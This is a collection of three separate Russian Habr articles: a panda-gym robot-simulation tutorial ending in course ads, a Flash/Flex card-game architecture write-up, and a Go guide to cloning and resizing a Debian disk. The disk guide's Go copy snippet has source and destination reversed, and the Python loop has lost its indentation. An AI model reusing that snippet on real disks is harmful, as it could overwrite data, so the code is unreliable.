Уровень сложности пяти представленных задач можно настроить. В задаче PandaReach-v1 необходимо достичь целевой позиции с помощью захвата; положение цели генерируется случайным образом в объёме 30 см × 30 см × 30 см.
В задаче PandaPush-v1 помещенный на стол кубик нужно подтолкнуть к целевой позиции на поверхности стола в условиях блокированного захвата. Здесь целевое и начальное положения кубика генерируются случайным образом в квадрате 30 × 30 см вокруг нейтрального положения робота.
Задача симуляции PandaSlide-v1 такова: плоский цилиндр при заблокированном захвате нужно переместить в заданное положение на поверхности стола. Положение цели генерируется случайным образом в квадрате 50 × 50 см, этот квадрат расположен на 40 см перед роботом в нейтральном положении.
Поскольку целевые позиции находятся вне пределов досягаемости робота, объекту нужно придать импульс, а не просто толкнуть его. В симуляции PandaPickAndPlace-v1 необходимо привести куб в целевое положение, созданное в объеме 30 × 30 × 20 см над столом. Чтобы поднять кубик, нужно подцепить его пальцами захвата.
В задаче PandaStack-v1 два кубика должны быть уложены в заданную позицию на поверхности стола. Положение цели формируется в квадрате 30 × 30 см. Укладка должна быть выполнена правильно: красный кубик должен находиться под зелёным. Все эти задачи моделирования ещё исследуются и пока не имеют идеального решения.
### Программируем
Попытаемся выполнить две симуляции из Panda Gym Challenge и понять, что требуется для разработки и настройки среды. Следующая реализация вдохновлена создателями panda-gym. Установим библиотеку, работая в Google Colab:
```
!pip install panda-gym
```
Импортируем зависимости:
```
#importing dependencies
import gym
import panda_gym
```
Установим среду и симуляцию:
```
#assigning the simulation task to environment
env = gym.make('PandaPickAndPlace-v1')
state = env.reset()
#setting the environment
done = False
#rendering agent learnings
images = [env.render('rgb_array')]
while not done:
action = env.action_space.sample()
state, reward, done, info = env.step(action)
images.append(env.render('rgb_array'))
env.close()
```
Чтобы настроить окружение, вы можете выполнить строки кода ниже. Гиперпараметры можно настроить в соответствии с требуемой производительностью; здесь проведём базовую, демонстрационную симуляцию. Далее установим библиотеку numpngw — это пакет, определяющий функцию write\_png, которая записывает массив NumPy в файл PNG, а также write\_apng — в последовательность массивов анимированного файла PNG (APNG).
```
#installing numpngw
!pip3 install numpngw
from numpngw import write_apng
write_apng('anim.png', images, delay = 100) # real-time rendering = 40 ms between frames
```
Отобразим результаты:
```
#rendering the simulation
from IPython.display import Image
Image(filename="anim.png")
```
Мы видим, что робот при помощи захвата перемещает блок! Кроме того, видно два положения блока. Хотя моделирование может оказаться не очень чётким, его можно дополнительно настроить гиперпараметрами или ради большей производительности рендеринга запустить на более совершенной вычислительной системе. Теперь моделируем задачу скольжения захвата и извлечём слайды её выполнения:
```
import gym
import panda_gym
env = gym.make('PandaSlide-v1')
state = env.reset()
done = False
images = [env.render('rgb_array')]
while not done:
action = env.action_space.sample()
state, reward, done, info = env.step(action)
images.append(env.render('rgb_array'))
env.close()
!pip3 install numpngw
from numpngw import write_apng
write_apng('anim.png', images, delay = 70) # real-time rendering = 40 ms between frames
from IPython.display import Image
Image(filename="anim.png")
```
Время визуализации и другие параметры обучения и среды можно настраивать. Инструмент очень удобен для тестирования алгоритмов глубокого обучения с подкреплением. Иногда возникают ограничения, например ограничения в управлении захватом: он может управляться только высокоуровневыми действиями. Чтобы внедрить политику обучения, потребуются дополнительные усилия. Кроме того, симуляция не реалистична до конца; основная проблема — форма захвата объектов в среде у самого робота.
Ссылки* [Panda-Gym на Github](https://github.com/qgallouedec/panda-gym)
* [Документация](https://gym.openai.com/docs/)
* [Блокнот Colab](https://colab.research.google.com/drive/106V599H-f7iAO__uYAvS3WIFBEqRxHsT?usp=sharing)
### Заключение
Благодаря этой статье мы увидели сущность обучающей среды в области обучения с подкреплением. Мы также попытались понять задачу panda-gym и выполнили базовую демонстрационную симуляцию двух задач рендеринга роботизированной руки Franka Emika1. Реализацию можно найти в [блокноте](https://colab.research.google.com/drive/106V599H-f7iAO__uYAvS3WIFBEqRxHsT?usp=sharing) Google Colab. Приятного моделирования!
Такая простая среда, на грани умозрительной, уже способна завораживать. Можно представить, что будет через несколько лет, когда искусственный интеллект продвинется в приобретении здравого смысла, а мощностей станет ещё больше. ИИ превратится в неотъемлемую часть огромного множества областей, а в бизнесе станет необходимостью, которая обеспечивает способность конкурировать с другими. Это означает, что востребованность специалистов в глубоком и машинном обучении будет только расти. Если сфера искусственного интеллекта вам интересна, то вы можете обратить внимание на наш курс о [машинном и глубоком обучении](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=110821) или на флагманский [курс по Data Science](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=110821), в конце которого сможете получить специализацию по ML. Также вы можете [узнать](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=110821), как начать карьеру с чистого листа или продолжить развиваться в других направлениях:
**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=110821)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=110821)
* [Курс «Математика для Data Science»](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=110821)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=110821)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=110821)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=110821)
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=110821)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=110821)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=110821)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=110821)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=110821)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=110821)
* [Профессия Android-разработчик](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=110821)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=110821)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=110821)
* [Профессия C#-разработчик](https://skillfactory.ru/csharp?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CDEV&utm_term=regular&utm_content=110821)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=110821)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=110821)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=110821)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=110821)
**А также:**
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=110821) | https://habr.com/ru/post/570580/ | null | ru | null |
# Техническая препарация одной игры, созданной независимыми разработчиками
Здравствуй, суровый, но справедливый хабр!
Хочу вместе с тобой препарировать одну игру, написанную мной совместно с моим хорошим другом. По механике игра – это бой в реальном времени между двумя игроками, у каждого из которых колода карт. А карты, в свою очередь, генерируют бойцов, которые уже самостоятельно прут на бункер противника, попутно кроша на фарш вражеских воинов. Помимо боя в игре есть магазин с картами; штаб, где можно формировать колоду и качать персонажей; арена, где можно запустить квест или реальный бой; ну и банк, где можно добыть игровую валюту. Напомню, мы независимые разработчики, поэтому ограничены в ресурсах и многие решения не идеальны.
Как начинали придумывать игру здесь: [habrahabr.ru/post/142490](http://habrahabr.ru/post/142490/)
Начнём препарацию.
##### Социальная платформа
Следуя принципу KISS, мы решили сразу делать игру для соцсетей потому, что там есть уже готовый механизм авторизации и широкие возможности распространения. В общем, проще всего быть услышанным в них. Выбрали Вконтакте из-за более молодой аудитории и большего опыта работы с этой сетью конкретно у нас.
Всё взаимодействие с соцсетью вынесли в отдельный модуль с синглтоном, чтобы в дальнейшем менять соцсети, как перчатки. Для этого у нас есть единый интерфейс, который должен реализовать каждый конкретный класс для каждой соцсети. Игра взаимодействует с соцсетью через синглтон с этим интерфейсом.
##### Flash-платформа
Выбрав Вконтакте, нам на выбор осталось две технологии: flash и iframe (html+javascript). Если честно, то игры на html я не перевариваю, к тому же я flash-разработчик много лет. Поэтому здесь даже обсуждений не было: сразу выбрали flash.
##### Flex
Внутри flash-технологии был выбор: писать ли на чистом actionscript или использовать flex-фреймворк. Чистый actionscript даёт более быстрый код, а flex обладает преимуществом быстрой и гибкой разработки для интерфейсов. Например, добавить окно со статистикой в архитектуре flex быстрее, проще и надёжнее, чем на чистом actionscript. Мы выбрали соломоново решение: все интерфейсы и окружение игры сделали на flex, а непосредственно бой (основное действие в игре) на чистом actionscript.
В сторону 3d движков не смотрели, решили не усложнять, но очень интересно, конечно.
*Следующая информация для флешистов. (Именно флешистов, ибо flasher на жаргоне – это чувак, который ходит голый в плаще в парках… а дальше вы знаете). Если Вы не флешист, Вам можно переходить к следующему разделу.*
При построении интерфейсов на flex, мы сразу делали скинованные компоненты. Для этого каждый компонент должен наследоваться от SkinnableComponent.
```
/**
* Представление карты.
* */
public class Card extends SkinnableComponent
{
/** Модель данных для кнопки. */
private var _model:CardModel = new CardModel();
public function set model(value:CardModel):void
{
_model = value;
modelChanged = true;
this.invalidateProperties();
}
public function get model():CardModel
{
return _model;
}
/** Флаг, показывающий была ли изменена модель. Нужен для оптимизации. Используется в commitProperties */
private var modelChanged:Boolean = false;
[SkinPart(required="true")]
/** Навзвание юнита. */
public var nameLabel:Label;
public function Card()
{
super();
}
/**
* @private
*/
override protected function partAdded(partName:String, instance:Object):void
{
super.partAdded(partName, instance);
if (instance == nameLabel)
{
if(model)
nameLabel.text = model.name;
}
}
/**
* @private
*/
override protected function commitProperties():void
{
super.commitProperties();
if(this.modelChanged)
{
if(model)
nameLabel.text = model.name;
}
}
```
Здесь стоит обратить внимание на следующие куски кода:
```
[SkinPart(required="true")]
/** Навзвание юнита. */
public var nameLabel:Label;
```
Это элемент интерфейса, который будет в конкретном скине. Этот факт отмечается метатегом SkinPart. Параметр метатега required показывает, должен ли этот конкретный компонент быть реализован в скине или его можно опустить.
Этот метод необходимо переопределить для инициализации элементов нашего скина. Как делать, думаю, понятно из кода.
```
override protected function partAdded(partName:String, instance:Object):void
```
Ещё имеет смысл переопределить этот метод:
```
override protected function commitProperties():void
```
При изменении данных лучше всего присваивать значения новых данных компонентам в этом методе. Это скажется на производительности этих компонентов в лучшую сторону. Дело в том, что этот метод вызывается только при перерисовке экрана, таким образом, откладывая ресурсоёмкое изменение компонента до тех пор, пока оно действительно не понадобится.
Мы храним данные отдельно от компонентов, в моделях:
```
/** Модель данных для кнопки. */
private var _model:CardModel = new CardModel();
public function set model(value:CardModel):void
{
_model = value;
modelChanged = true;
this.invalidateProperties();
}
public function get model():CardModel
{
return _model;
}
```
Заметьте, при изменении данных, мы их лишь сохраняем, помечаем модель данных изменённой и вызываем метод invalidateProperties(). Этот метод говорит flex, что данные изменились и надо вызвать commitProperties(). Самостоятельно commitProperties() вызывать нельзя, он вызовется, как я уже говорил, при перерисовке экрана.
Модель данных у нас – это просто структура с полями, описывающими модель.
```
/**
* Модель данных для карты.
* */
public class CardModel
{
/** Имя карты. */
public var name:String = "";
}
```
Скин может выглядеть так:
```
xml version="1.0" encoding="utf-8"?
[HostComponent("view.components.Card")]
```
Здесь стоит обратить внимание на блок Metadata. Здесь указывается «родной» компонент для скина.
Используя схему с разделением компонента на его механику и скин, мы отказываемся от связывания (Binding), которое считается плохой практикой. А ещё мы теперь можем для одного компонента иметь несколько вариантов представления, менять их на лету, и безболезненно их легко переделывать, вплоть до полной смены дизайна.
##### Flash XML Graphics
Ещё одна технология, которую мы использовали, это FXG или Flash XML Graphics. Это векторный формат для графики, который разработан Adobe, основанный на XML. Он удобен в mxml. Имея картинку в этом формате, в mxml код она добавляется одним единственным тегом. Ну и используя векторную графику, размер приложения у нас получился 3 мб. Правда тормозит, падла. Чтобы не тормозило, обвешали всё значением cashAsBitmap равным true.
##### Архитектура
При построении архитектуры мы ставили целью быстрое создание клонов игры в будущем. Посему мы разделили игру на следующие уровни:
* Ядро
* Логика
* Модели данных
* Представление
* Скины
Ядро берёт на себя общение с сервером. Логика хранит игровую механику – основу для клонов. Модели описывают данные и больше ничего. Представление – это уровень интерфейсов и интерфейсной механики. А скины – это уже то, что видно.
Здесь просматривается архитектура mvc, но мы не стали использовать готовые фреймворки (pureMVC, mate), реализующие эту архитектуру, чтобы упростить разработку. Решили лишь идейно придерживаться принципа разделения логики и представления.
##### Математическая модель боя
Здесь интересен вопрос синхронизации игрового мира у двух клиентов. Ведь у нас игровые юниты не по клеткам ходят. Они имеют вещественные координаты на плоскости, разные размеры, сталкиваются друг с другом и обходят возникающие препятствия.
Для синхронизации мы используем точное моделирование событий игрового мира, которое достигается двумя моментами:
1. Любое состояние мат. модели описывается целочисленными данными
2. Время режется на фиксированные промежутки времени по 20 мс, и пересчет мат. модели возможен только на +20 мс. Если надо больше – мат. модель пересчитывается несколько раз. Если меньше – вообще не пересчитывается.
Мат. модель у нас работает отдельно сама-по-себе, она никак не связана с представлением боя на экране. Таким образом, мы можем совершенно спокойно делать другое представление на других технологиях, и когда оно будет готово – предоставить клиенту выбор. Например, мы планируем в будущем сделать спрайтовую графику через stage3d.
##### Сервер
Серверную часть мы решили делать на PHP. На самом деле выбор был следующий – реализовывать клиент-серверный протокол на сокетах или на HTTP. И сделав выбор в пользу скорости разработки и гарантии стабильной работы у клиента, вы выбрали последнее. А именно PHP – т.к. в этой области у нас имеется огромный опыт.
Передача сообщений от сервера клиентам, и от клиента другому клиенту, происходит через механизм периодического опроса сервера. При возрастании игрового онлайна это дает большую нагрузку на сервер, поэтому все механизмы опроса мы выделили на отдельные сервера. Всего у нас 3 типа серверов:
1. Main-сервер. Он такой один у нас. Он хранит данные всех игроков, обрабатывает изменения этих данных (например, при покупке чего-либо в игровом в магазине), и распределяет зашедших в игру игроков по Lobby- и Battle-серверам.
2. Lobby-сервер. Каждому игроку, зашедшему в игру, сразу назначается наименее загруженный из доступных Lobby-серверов. Тем не менее, каждый клиент получает полный список всех Lobby-серверов, и на них на всех рассылает номер своего Lobby-сервера. Таким образом, если какой-то другой клиент захочет отправить нам (клиенту) некое сообщение, допустим приглашение вступить в бой, то он со своего Lobby-сервера узнает, на каком сервере находимся мы, и после этого отправит сообщение уже конкретно на наш Lobby-сервер. Мы же, в свою очередь, просто опрашивая раз в 5 секунд свой Lobby-сервер, узнаем о входящем сообщении. Аналогично Main-сервер может отправить любому игроку требуемое сообщение.
3. Battle-сервер. Когда на Main-сервере находятся два игрока, желающие вступить в бой друг с другом, им назначается наименее загруженный из доступных Battle-серверов. После чего, через механизм Lobby-серверов, им рассылаются приглашения вступить в бой, с указанием конкретного Battle-сервера, ключей от уже созданного боя, и всего прочего. На этом Battle-сервере игроки уже спокойно обмениваются информацией с частотой опроса 2 секунды, и совершенно не мешают работе остальной серверной системы.
Друг с другом сервера общаются также через http-протокол. Но есть одна тонкость – во многих случаях используется отправка http-запроса без ожидания ответа. Например при создании боя: создаем уникальный guid-ключ, отправляем команду выбранному Battle-серверу создать бой с этим ключом, не ожидая ответа рассылаем Lobby-серверам игроков приглашения в бой на выбранный Battle-сервер с этим же ключом, и, снова не дожидаясь ответа, завершаем обработку запроса.
Благодаря такой системе, мы имеем возможность динамически на горячую менять производительность серверной площадки (за исключением Main-сервера). Мы просто вводим в строй дополнительные сервера при необходимости. И таким образом, мы хостимся на дешевых VPS-серверах, и у нас нет необходимости заранее оплачивать дорогой и мощный сервер. К тому же, хостер за доплату может увеличить производительность VPS, даже не выключая его.
На счет Main-сервера: мы надеемся, что наибольшую часть нагрузки с него мы сняли, введя систему из Battle- и Lobby-серверов, и по началу для него хватит одной самой мощной VPS-ки, далее будет перевод его на настоящее серверное железо. Ну и походу сбора статистики мы поймем, есть ли необходимость дальнейшей оптимизации серверной части игры.
##### MMO-технология
В нашей игре есть возможность игры по сети либо с другом, либо со случайным противником.
Бой с другом создается через механизм приглашений на бой. Я могу кинуть своему другу инвайт, он, в свою очередь, может его либо принять, либо отклонить.
Здесь интересно то, что на этот раз мы решили отказаться от таблиц самих инвайтов, списков пропущенных инвайтов и прочей лабуды. Уже наелись с этим в прошлом проекте. Дело в том, что кажется, что это просто, а на практике возникает огромное количество непредвиденных ситуаций. А если игрок оффнлайн? А если он вроде-как-онлайн, но ему только что перерезали интернет и об этом еще никто не знает? А если он вообще удалил приложение, но остался в базе? А если он нажал принять инвайт, а я успел отменить и уже кинул другому игроку? А если я кинул инвайт и обновил страницу? Ну и т.д. Возникает довольно большая путаница.
Поэтому мы сделали все проще: у нас в таблице игроков есть всего два поля: state и opponentId. state определяет, свободен ли игрок, кинул ли он инвайт, видит ли он сообщение о входящем инвайте, находится ли он в бою. opponentId – полагаю, понятно, зачем нужен. Кидать инвайт можно только свободным игрокам. И даже после внезапной перезагрузки страницы браузера, клиент быстро восстанавливает все диалоги, касающиеся приглашений в бой.
Бой со случайным противником реализован через подбор противника по рейтингу. Игрок отправляет заявку. Заявка лежит в базе данных 15 секунд, после чего попадает в обработку. Обработка происходит скриптом, срабатывающим раз в 10 секунд. Этот скрипт осуществляет выбор пар заявок с ближайшими рейтингами. Но не точно самыми ближайшими – используется рандом в неком диапазоне. А диапазон постепенно расширяется. В первую очередь обрабатываются заявки с самым низким рейтингом – для того, что бы обеспечить наилучшую обработку вновь прибывших клиентов. Т.к. заявки очень быстро расходятся, то оптимизации этот скрипт не требует. Поэтому об алгоритмах здесь писать не буду – все просто и линейно.
Задержка в 15 секунд нужна, т.к. без неё каждая вторая заявка будет стартовать бой с первой, и никакие рейтинги учитываться не будут.
##### В заключении
Прости, хабр, грешную голову за отсутсвие картинок, графиков и таблиц, но все кишки нашей игры перед тобой. Посоветуй делом, если сможешь. Да, забыл сказать. Следующую статью напишу про монетизацию, сколько что стоило и покажу первые результаты. | https://habr.com/ru/post/142884/ | null | ru | null |
# Клонируем сами, своими руками
[](https://habr.com/ru/company/ruvds/blog/686812/)*Картина маслом: Опытный сисадмин ищет четырёхлетний бэкап на файл-сервере*
Задача: Вася летел на самолёте. Из-за неисправности двигателя самолёт упал на необитаемом острове. Вася был единственным выжившим. После осмотра уцелевшего багажа Вася понял, что в его распоряжении есть несколько лаптопов и Wi-Fi роутер. Теперь для того, чтобы выжить, Вася решил поднять ЦОД. Для нормальной работы ЦОДа Васе нужно уметь клонировать Debian Linux. Но под рукой нет никаких средств клонирования. Даже старый диск Clone Zilla куда-то запропастился. Что делать Васе?
Итак, для начала посмотрим на кое-какие условия ТЗ, не описанные в первом абзаце.
У нас есть Debian Linux, установленный на виртуальную машину QEMU, в режиме EFI, с диском, подключённым через LVM. То, что нам хочется сделать — это получить клон этой машины, и “растянуть” уже существующую файловую систему, чтобы она занимала всё дисковое пространство на новом носителе.
Работать будем сразу двумя путями. Мы будем писать утилиту для клонирования на Golang, но по факту, эта утилита будет заниматься только вызовом достаточно стандартных команд из Linux. Идея заключается в том, что мы постараемся автоматизировать этот процесс по максимуму. Поэтому читатель может либо выполнять команды вручную, либо писать скрипт, который эти команды выполнит.
▍ Итак, поехали
---------------
*Картина: Начинающие программисты поднимают первый под в кубере*
Для начала давайте установим Debian Linux на QEMU, в котором мы подключим LVM диск. Настройте сам Debian как вашей душе будет угодно.
Первый этап процесса — получить изначальную копию диска. Сделать это можно двумя способами. Первый: открыть файл в golang и просто скопировать сам диск в этот файл с помощью io.Copy.
```
dst, err := os.OpenFile(path, os.O_WRONLY, os.ModeDevice)
if err != nil {
return err
}
defer dst.Close()
src, err := os.Open(filepath.Join(path, name+".img"))
if err != nil {
return err
}
defer src.Close()
bw, err := io.Copy(src, dst)
if err != nil {
return err
}
dst.Close()
src.Close()
```
Второй способ, намного проще, мы можем воспользоваться самой продвинутой утилитой клонирования в мире: dd.
```
dd if=/dev/sda of=~/image.img bs=32M
```
В любом случае у вас на руках то, что Васе доктор прописал — побитовый клон жёсткого диска.
▍ Восстанавливаем
-----------------
Для восстановления информации выполните все те же инструкции, только поменяйте местами исходный диск и файл.
Когда клон будет готов, мы сможем приступить к восстановлению системы. На самом деле, на этом этапе мы могли бы просто запустить всё, что у нас есть на руках, и оно бы заработало. Но, вот в чём проблема, новый жёсткий диск был больше, чем исходный. Поэтому мы хотим немного поколдовать. И первое заклинание будет:
```
partprobe
```
Удивительно, но если вы клонируете 5 гигабайт жёсткого диска на NVME, то выполнение partprobe на системе займёт больше времени, чем сам процесс клонирования. Как бы то ни было, вы только что сказали вашей системе прошуршать существующие жёсткие диски и обновить информацию в конфигурации всех системных утилит.
На этом этапе у вас в системе есть два жёстких диска, которые полностью идентичны. Систему можно запускать, но она не заработает.
▍ Чиним EFI ударом светового меча от плеча до…
----------------------------------------------
Первой проблемой будет EFI. Тут мне нужна будет помощь Хабра, ибо, возможно, существует лучшее решение этой проблемы. Для загрузки системы Debian создаёт два раздела на нашем жёстком диске. Первый — маленький для EFI Bootloader, второй будет поболе, для самой системы.
Момент заключается в том, что Debian сохраняет свой bootloader в `/EFI/debian/shim64.efi`, а QEMU ищет bootloader в `/EFI/BOOT/BOOTx64.efi`.
Тут варианта два. Первый — это переконфигурировать EFI на поиск файла в нужном месте, второе — просто скопировать файл в нужное место. Я всё ещё в поисках решения по первому пути, поэтому предлагаю вам второй путь.
В таком случае давайте сначала определим, как называются наши разделы на жёстком диске. И тут у нас есть прикол. Мы не можем предугадать имя раздела на жёстком диске. Всё зависит от названия самого жёсткого диска. Если название диска заканчивается на букву, то разделы будут называться 1 и 2. А если название диска заканчивается на цифру, то разделы называются p1 и p2 и так далее. Этот подход очень ненадёжен. Мне надо знать, как на самом деле называются разделы. Для этого воспользуемся замечательной утилитой lsblk.
```
lsblk /dev/mapper/diskname -blJ
```
В таком состоянии вы получите данные о том, сколько разделов есть на жёстком диске, куда и как они примонтированы, и что в них происходит. Более того, J позволит нам увидеть весь вывод этой утилиты в замечательно фаршированном JSON.
Давайте вызовем эту утилиту из golang, и для начала создадим пару констант и типов.
```
// LsblkPart data returned by LSBLK
type LsblkPart struct {
Name string
MajMin string `json:"maj:min"`
Removable bool `json:"rm"`
Size uint64
RO bool `json:"ro"`
Type LsblkType
Mountpoints []string
}
// list of all types that lsblk can return. Taken from lsblk source code
type LsblkType string
const (
LsblkTypePart = LsblkType("part")
LsblkTypeLvm = LsblkType("lvm")
LsblkTypeCrypt = LsblkType("crypt")
LsblkTypeDmRaid = LsblkType("dmraid")
LsblkTypeMPath = LsblkType("mpath")
LsblkTypePath = LsblkType("path")
LsblkTypeDm = LsblkType("dm")
LsblkTypeLoop = LsblkType("loop")
LsblkTypeMd = LsblkType("md")
LsblkTypeLinear = LsblkType("linear")
LsblkTypeRaid0 = LsblkType("raid0")
LsblkTypeRaid1 = LsblkType("raid1")
LsblkTypeRaid4 = LsblkType("raid4")
LsblkTypeRaid5 = LsblkType("raid5")
LsblkTypeRaid10 = LsblkType("raid10")
LsblkTypeMultipath = LsblkType("multipath")
LsblkTypeDisk = LsblkType("disk")
LsblkTypeTape = LsblkType("tape")
LsblkTypePrinter = LsblkType("printer")
LsblkTypeProcessor = LsblkType("processor")
LsblkTypeWorm = LsblkType("worm")
LsblkTypeRom = LsblkType("rom")
LsblkTypeScanner = LsblkType("scanner")
LsblkTypeMoDisk = LsblkType("mo-disk")
LsblkTypeChanger = LsblkType("changer")
LsblkTypeComm = LsblkType("comm")
LsblkTypeRaid = LsblkType("raid")
LsblkTypeEnclosure = LsblkType("enclosure")
LsblkTypeRbc = LsblkType("rbc")
LsblkTypeOsd = LsblkType("osd")
LsblkTypeNoLun = LsblkType("no-lun")
)
```
А после, напишем функцию, которая возвращает данные о наших разделах:
```
// LsblkPartitions returns a list of partitons on a specified VD
// This would return only information about partitions.
func LsblkPartitions(virtualDiskID string) ([]LsblkPart, error) {
out, err := ExecCommString("lsblk", Params("/dev/mapper/%v %v", virtualDiskID, "-blJ")...)
if err != nil {
return nil, fmt.Errorf("can't extract virtual drive partition info. %w", err)
}
var p lsbklOutput
err = json.Unmarshal([]byte(out), &p)
if err != nil {
return nil, fmt.Errorf("can't unmarshall lsblk output %w", err)
}
var ret []LsblkPart
for _, p := range p.Blockdevices {
if p.Type == LsblkTypePart {
ret = append(ret, p)
}
}
return ret, nil
}
```
Копипастерам на заметку — ExecCommString — это функция, которая выполняет команду в системе и возвращает ответ в виде строки. Params — это ещё одна функция, которая занимается возвращением параметров для ExecCommString, так что, если хотите, перепишите их сами.
Итак, теперь мы готовы в golang получить данные о разделах на нашем жёстком диске. Теперь у нас есть список разделов и правильных путей к этим разделам. Ещё раз напоминаю, что диски у нас на LVM, поэтому подключаемся к ним через `/dev/mapper/storage/`.
Теперь мы можем подключить раздел с EFI путём запуска Mount.
```
err = system.ExecCommNoreturn("mount", system.Params("%v %v", "/dev/mapper/"+vdPartData[0].Name, "/mnt/efi-"+diskId)...)
```
После чего, путём гигантского количества кода на golang мы можем скопировать все файлы из `./EFI/deiban` в `./EFI/BOOT` и заменить `shimx64.efi` на `BOOTx64.efi`.
Ну что же, теперь наша система грузится на ванильном QEMU.
▍ Доктор дископрав
------------------
*Картина: Новый разработчик пытается убедить тимлида, что править диски через консоль на продакшене это — комильфо*
Пора поправить сам диск. На самом деле, на этом этапе вам можно сделать дополнительные операции (например, поменять hostname, и записать нужные ключи и так далее в файловую систему на машине.
После этого вы можете править диск.
В чём проблема?
Изначальный образ нашей системы был установлен на диск с 5 гигабайтами пространства. В этом случае такой образ можно записать почти на любой жёсткий диск, а потом растянуть его руками, чтобы главный раздел занимал всё пространство нового диска.
Давайте править новую файловую систему.
Первым делом, размонтируйте всё, что намонтировали в предыдущем разделе.
Для начала запустим sgdisk. Эта замечательная утилита меняет GPT раздел и растягивает весь раздел на целый диск. Но это не файловая система, это просто разметка диска.
```
err = system.ExecCommNoreturn("sgdisk", system.Params("-e %v", system.VirtualDiskPath(diskId))...)
```
Следующая команда удаляет второй раздел с диска:
```
err = system.ExecCommNoreturn("sgdisk", system.Params("-d 2 %v", system.VirtualDiskPath(diskId))...)
```
А после этого, мы пересоздаём этот второй раздел, но на этот раз говорим, что он будет занимать весь существующий диск.
```
err = system.ExecCommNoreturn("sgdisk", system.Params("-N 2 %v", system.VirtualDiskPath(diskId))...)
```
Хорошо. Для продолжения нам снова нужно сделать partprobe, чтобы убедиться, что Linux понял, что диск стал толще и жирнее.
▍ Доктор Айболит, который лечит файловую систему
------------------------------------------------
*Картина: Системный администратор получил по заслугам после изменения разметки диска с базой данных*
Ну вот, сам диск теперь размечен правильно, осталось подтянуть файловую систему и “растянуть” её на всё оставшееся место на диске.
Теперь давайте запустим `e2fsck`.
```
err = system.ExecCommNoreturn("e2fsck", system.Params("-f -y /dev/mapper/%v", vdPartData[1].Name)...)
```
На всякий пожарный мы проверим, если у нас были проблемы с файловой системой. На моём опыте могу сказать, что ни разу не видел никаких проблем на этом этапе, и его можно запросто пропустить. Хотя, естественно, пропускать не рекомендуется.
Ну и, наконец-то, можно растянуть саму файловую систему, чтобы она соответствовала размеру нового раздела на диске.
```
err = system.ExecCommNoreturn("resize2fs", system.Params("/dev/mapper/%v", vdPartData[1].Name)...)
```
▍ Ну вот и всё!
---------------
*Картина: Системный администратор, которому удалось восстановить повреждённый диск с файлами пользователей*
Слава богу, всё в порядке! Теперь Вася может собрать эти сниппеты в нормальную программу и будет в состоянии автоматически клонировать диски на своих ноутбуках. ЦОД можно поднимать, и он будет работать быстро и надёжно. В следующей статье мы поговорим о способах, которыми можно запитать ЦОД на необитаемом острове.
А всем моим читателям рекомендую распечатать эту инструкцию на листочке бумаги, и в случае, если вы окажетесь на необитаемом острове, вы сможете спокойно клонировать диски своими руками.
> **[Конкурс статей от RUVDS.COM](https://bit.ly/3bDQroY). Три денежные номинации. Главный приз — 100 000 рублей.**
